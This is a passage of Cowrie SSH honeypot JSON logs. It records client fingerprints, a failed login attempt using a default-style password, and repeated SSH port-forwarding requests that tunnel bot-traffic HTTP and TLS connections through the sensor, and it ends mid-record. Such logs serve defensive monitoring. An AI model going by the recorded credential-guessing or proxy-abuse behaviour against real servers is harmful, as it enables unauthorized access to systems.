{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:14.879295Z","src_ip":"101.79.165.43","session":"9af395fe0ef7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:15.597986Z","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:15.661860Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZUJDZntWVE1KNVcrTX1BMQ%3D%3DPEzvPTfM3WmYgvkhrRg9bWiJFCEmrwsYuIDDGwwrRcUgoQ2g4POg3qZdbnQH4Zw0IhtJdtzWPCZ4O06pdoQ53IOSn1DVIxTDMkcZVTv8RtfPzWu03c5jGGmUs4qAKPAl8gIJpUqpCvldzGBPLcudggi2uNfiwNcoRmhljHo5DZ75swGwxKo%2B1zTj7LM4wYNeioTcoip1RY2w0Wna2d0A4n0ya3bM9UXIUld2pUJNOeXTXM79igM1M4N8yBJ%2FCTHTkF8S8rLVp%2BfCvDWwK4t2MB3MC6NfSyZb8MzTP%2BcnsgjcZSqybR4bsRMkuZmORz5XzkRICG9kURiXRjt8Y4xsLVmpxknQjOldTYBav7YIaQY9C2k1bUB1YyQcjTkKeqqI5RrrZkV9sya448zIYhXZxdR8%2BupJFKcI0c0UIuTeEbvoA6kW8Zg8hXAoL2htU9qbvH0g9ih2MKdSNmbN4NWd3a9Az1NVeFA8EVv%2FuRBgsZ7eMGS4qf94I6yEKtO54o2aEOVkT1MOangKIwUBI%2FEhRsSVU2qa5oxeUgHASfvfWAKJw5n6XttCqqer0oEeQqNg%2FWOiJn6c9S2AYW4JEqzLLw5HGUpZhXfzWw5N38lzM4ec5uz7zc%2BgULjtPp9g44J%2FD55zVLB0QT5%2B8%2BqPB1Uw9vGubYfOB%2BQ%2FsnQYzF%2BcIZEKYyL8Ag2ULeHoOBXPNgLxjm3ep6zyIbioBGYrXGmWmY4mNWSBbHGtMnyWXPWk587FAgiNSjh%2Faqf9s48rFzDZ6djOTsn8l4wvvZdBP7pu16VDF25fppTZ7%2BZbvtBA6wJs9A%2Bmv2W8LxeM8DIsJDlFfJk7A%2BtUQZfWw%2Ft3jgWRajC9ItaGySYAd8jMwYwn0lcDkdexTtcfNPnrF3yugUeWlLffa539j3uhs6cSa8p1utIIbyGVlKYJBE3o2D%2F%2FLqzSLlZ7cR6LRPonjwvkOHhrKDsgE00CK%2FvFGGwZDZ3uWLz4lmzHp6WuHoKU9ZFqj%2BLQNjwGzgabyjKp05iZAMkoffNNOcev%2BXs%2FtfTgyWYJ1pDAmImJqE%2F8CbTlAHGeE28%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZUJDZntWVE1KNVcrTX1BMQ%3D%3DPEzvPTfM3WmYgvkhrRg9bWiJFCEmrwsYuIDDGwwrRcUgoQ2g4POg3qZdbnQH4Zw0IhtJdtzWPCZ4O06pdoQ53IOSn1DVIxTDMkcZVTv8RtfPzWu03c5jGGmUs4qAKPAl8gIJpUqpCvldzGBPLcudggi2uNfiwNcoRmhljHo5DZ75swGwxKo%2B1zTj7LM4wYNeioTcoip1RY2w0Wna2d0A4n0ya3bM9UXIUld2pUJNOeXTXM79igM1M4N8yBJ%2FCTHTkF8S8rLVp%2BfCvDWwK4t2MB3MC6NfSyZb8MzTP%2BcnsgjcZSqybR4bsRMkuZmORz5XzkRICG9kURiXRjt8Y4xsLVmpxknQjOldTYBav7YIaQY9C2k1bUB1YyQcjTkKeqqI5RrrZkV9sya448zIYhXZxdR8%2BupJFKcI0c0UIuTeEbvoA6kW8Zg8hXAoL2htU9qbvH0g9ih2MKdSNmbN4NWd3a9Az1NVeFA8EVv%2FuRBgsZ7eMGS4qf94I6yEKtO54o2aEOVkT1MOangKIwUBI%2FEhRsSVU2qa5oxeUgHASfvfWAKJw5n6XttCqqer0oEeQqNg%2FWOiJn6c9S2AYW4JEqzLLw5HGUpZhXfzWw5N38lzM4ec5uz7zc%2BgULjtPp9g44J%2FD55zVLB0QT5%2B8%2BqPB1Uw9vGubYfOB%2BQ%2FsnQYzF%2BcIZEKYyL8Ag2ULeHoOBXPNgLxjm3ep6zyIbioBGYrXGmWmY4mNWSBbHGtMnyWXPWk587FAgiNSjh%2Faqf9s48rFzDZ6djOTsn8l4wvvZdBP7pu16VDF25fppTZ7%2BZbvtBA6wJs9A%2Bmv2W8LxeM8DIsJDlFfJk7A%2BtUQZfWw%2Ft3jgWRajC9ItaGySYAd8jMwYwn0lcDkdexTtcfNPnrF3yugUeWlLffa539j3uhs6cSa8p1utIIbyGVlKYJBE3o2D%2F%2FLqzSLlZ7cR6LRPonjwvkOHhrKDsgE00CK%2FvFGGwZDZ3uWLz4lmzHp6WuHoKU9ZFqj%2BLQNjwGzgabyjKp05iZAMkoffNNOcev%2BXs%2FtfTgyWYJ1pDAmImJqE%2F8CbTlAHGeE28%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:15.664896Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mike","password":"changeme","message":"login attempt [mike/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:15.798407Z","src_ip":"101.79.165.43","session":"9af395fe0ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:17.019192Z","src_ip":"101.79.165.43","session":"9af395fe0ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55461,"dst_ip":"10.17.0.5","dst_port":22,"session":"983c2bc76aea","protocol":"ssh","message":"New connection: 173.208.188.210:55461 (10.17.0.5:22) [session: 983c2bc76aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.014674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.020218Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.222770Z","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.260645Z","src_ip":"173.208.188.210","session":"983c2bc76aea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.289824Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1 \\x88XdvvY\\x9d\\x1b\\xfa\\xf2\\xfd\\x1d\\xdbR\\xb4\\xe7\\x8a[\\xe2\\x9cy\\xd5\\x1f]\\x11\\xb3\\r1\\xc4\\x08 \\xa8\\xd8\\xb0\\rk<\\xcdPAJ\\xfd\\xc5%\\xb7y\\xaa#\\xbf\\xbd\\x19f\\xf1\\xf5%Tk\\xac\\xf33\\xcd\\xec/\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 0\\xf3\\xa8\\xf8\\xceL\\xfaw\\xd9S\\xac)PY\\xf9Q\\xe0\\x99{\\x9b\\xb0\\xa6\\xf7\\x8fB\\x1bBS<\\xa82\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1 \\x88XdvvY\\x9d\\x1b\\xfa\\xf2\\xfd\\x1d\\xdbR\\xb4\\xe7\\x8a[\\xe2\\x9cy\\xd5\\x1f]\\x11\\xb3\\r1\\xc4\\x08 \\xa8\\xd8\\xb0\\rk<\\xcdPAJ\\xfd\\xc5%\\xb7y\\xaa#\\xbf\\xbd\\x19f\\xf1\\xf5%Tk\\xac\\xf33\\xcd\\xec/\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 0\\xf3\\xa8\\xf8\\xceL\\xfaw\\xd9S\\xac)PY\\xf9Q\\xe0\\x99{\\x9b\\xb0\\xa6\\xf7\\x8fB\\x1bBS<\\xa82\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.293198Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.406762Z","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.483292Z","src_ip":"23.175.50.52","session":"e5bdb7635804","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03te\\xea@F\\xaa\\xa2\\xe2\\xc7\\xf8\\xcf=}\\x7f\\x91$\\xd2;\\xb2\\x8a\\x05v\\x81\\xdeF;\\x00,y\\xb0\\xe6\\x8e \\xe5\\xd6\\xf1\\xb6Z\\xd5!f\\x04\\xeb\\x11\\x92\\x04\\x85\\x1ex)\\xc4\\x04\\x8f,\\xf6\\x7f\\xa4\\x0e\\xa6\\x04\\x17\\x8c<!\\xbf\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4\\xde\\xacj\\xc5\\xc1\\xc6`\\xcb\\xd45\\xbcs\\x12x ?\\xa4\\xab\\xd7O\\x0e41\\xbc\\n\\xdcv\\xb31\\xa3.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03te\\xea@F\\xaa\\xa2\\xe2\\xc7\\xf8\\xcf=}\\x7f\\x91$\\xd2;\\xb2\\x8a\\x05v\\x81\\xdeF;\\x00,y\\xb0\\xe6\\x8e \\xe5\\xd6\\xf1\\xb6Z\\xd5!f\\x04\\xeb\\x11\\x92\\x04\\x85\\x1ex)\\xc4\\x04\\x8f,\\xf6\\x7f\\xa4\\x0e\\xa6\\x04\\x17\\x8c<!\\xbf\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4\\xde\\xacj\\xc5\\xc1\\xc6`\\xcb\\xd45\\xbcs\\x12x ?\\xa4\\xab\\xd7O\\x0e41\\xbc\\n\\xdcv\\xb31\\xa3.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:36:18.486652Z","src_ip":"23.175.50.52","session":"e